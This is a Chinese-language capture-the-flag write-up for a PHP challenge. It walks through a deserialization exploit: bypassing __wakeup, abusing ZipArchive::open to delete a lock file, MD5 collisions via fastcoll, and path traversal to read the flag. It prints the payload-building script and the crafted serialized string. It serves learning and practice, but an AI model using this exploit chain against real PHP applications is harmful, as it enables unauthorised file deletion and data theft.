一血价值100金币的题目
<?phperror_reporting(0);ini_set("display_errors","Off");class Jesen {public $filename;public $content;public $me;function __wakeup(){$this->me = new Ctf();}function __destruct() {$this->me->open($this->filename,$this->content);}}class Ctf {function __toString() {return "die";}function open($filename, $content){if(!file_get_contents("./sandbox/lock.lock")){echo file_get_contents(substr($_POST['b'],0,30));die();}else{file_put_contents("./sandbox/".md5($filename.time()),$content);die("or you can guess the final filename?");}}}if(!isset($_POST['a'])){highlight_file(__FILE__);die();}else{if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){unserialize($_POST['c']);}
首先看到有反序列化函数,还是一道考察反序列化漏洞的题目。
Jesen类中,__wakeup函数创建Ctf对象,接着调用其中的open函数。
Ctf类中,open函数会通过判断sandbox目录下是否有lock.lock文件,来进入不同的分支。直接看下面那个分支,
file_put_contents("./sandbox/".md5($filename.time()),$content);
$content是我们可以控制的,$filename也是可以控制的,但是time()值是不可控的,总不能直接猜文件名,所以正确的路子应该是想办法删掉sandbox下的lock.lock文件,通过file_get_contents函数来读取到flag。
Jesen类当中,wakeup实例化一个对象Ctf,并赋值给me变量,destruct函数调用me->open()函数,也就是Ctf类的open函数。但是我们知道,__wakeup函数是可以绕过的,这么一来,$me的值也可以控制了,可以把他赋值为任意一个对象,并调用其open方法,这么一来,删除lock.lock就有可能了,剩下来的就是想办法找到符合条件的对象。
当然最后还是没找到,看了大佬的wp,才知道还有个ZipArchive可以用。
public ZipArchive::open ( string $filename , int $flags = 0 ) : bool|int
当$flags为ZipArchive::OVERWRITE时,就可以达到删除文件的目的。
条件充足,接下来构造payload:
<?phpclass Jesen {public $filename='./sandbox/lock.lock';public $content=8;public $me;}$a = new Jesen();$zip = new ZipArchive();$a->me = $zip;$b=serialize($a);echo $b;
得到Jesen的序列化字符串,
O:5:"Jesen":3:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}
因为还需要绕过__wakeup函数,所以把O:5:"Jesen":3:改为O:5:"Jesen":4:。
接着使用fastcoll来创建两个md5值相同的文件,并且内容为flag的路径
flag.txt:/../../../../../../../..//flagfastcoll.exe -p flag.txt
将生成的两个文件进行url编码,使用burpsuit提交,在去访问/sandbox/lock.lock,就会发现返回404。
接着再把序列化字符串改回来,就可以拿到flag了。
